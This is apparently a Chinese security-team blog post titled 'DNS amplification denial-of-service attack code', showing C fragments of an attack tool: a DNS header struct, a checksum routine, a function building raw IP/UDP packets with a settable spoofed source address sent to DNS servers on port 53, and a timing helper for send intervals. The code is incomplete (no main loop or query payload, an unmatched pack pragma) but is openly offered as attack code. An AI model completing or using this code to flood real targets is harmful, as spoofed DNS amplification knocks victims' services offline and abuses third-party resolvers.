NEURON

Security

DNS放大拒绝服务攻击代码

(0) Comments »

/* DNS 头定义 */

struct dnshdr

{

unsigned short id;

unsigned short flags;

unsigned short qdcount;

unsigned short ancount;

unsigned short nscount;

unsigned short arcount;

};

#pragma pack(pop)

int t_raw_socket = 0;

int t_scr_ip = 0;

int t_dns_ip = 0;

int t_send_interval = 0;

int count = 0;

/**

校验和函数

*/

unsigned short csum(unsigned short *buf, int nwords)

{

unsigned long sum;

for (sum = 0; nwords > 0; nwords--)

sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

/**

* 组装udp包

*/

int build_udp_ip_packet(char *packet, unsigned int payload_size, uint32_t src_ip, uint32_t dst_ip, u_int16_t port)

{

struct ip *ip_hdr = (struct ip *) packet;

struct udphdr *udp_hdr = (struct udphdr *) (packet + sizeof (struct ip));

ip_hdr->ip_hl = 5; //包头长度

ip_hdr->ip_v = 4; //ipv4

ip_hdr->ip_tos = 0; //tos

ip_hdr->ip_len = sizeof(struct ip) + sizeof(struct udphdr) + payload_size; //ip包长度

ip_hdr->ip_id = 0; //id

ip_hdr->ip_off = 0; //fragment offset

ip_hdr->ip_ttl = 255; //ttl

ip_hdr->ip_p = 17; //udp协议

ip_hdr->ip_sum = 0; //临时 checksum

ip_hdr->ip_src.s_addr = src_ip; //原ip

ip_hdr->ip_dst.s_addr = dst_ip; //目的ip

udp_hdr->source = port; //原端口

udp_hdr->dest = htons(53); //目标端口

udp_hdr->len = htons(sizeof(struct udphdr) + payload_size); //udp包长度

udp_hdr->check = 0; //udp校验和

ip_hdr->ip_sum = csum((unsigned short *) packet, ip_hdr->ip_len >> 1); //计算真ip校验和

return ip_hdr->ip_len >> 1;

}

void Sleep(uint32_t msec)

{

struct timespec slptm;

slptm.tv_sec = msec / 1000;

slptm.tv_nsec = 1000 * 1000 * (msec - (msec / 1000) * 1000); //1000 ns = 1 us

if (nanosleep(&slptm, NULL) != -1)

{

}

else

{

fprintf(stderr,"%s : %u", "nanosleep failed !!\n", msec);

}

}

公告


Neuron Security Team



360网站卫士

搜索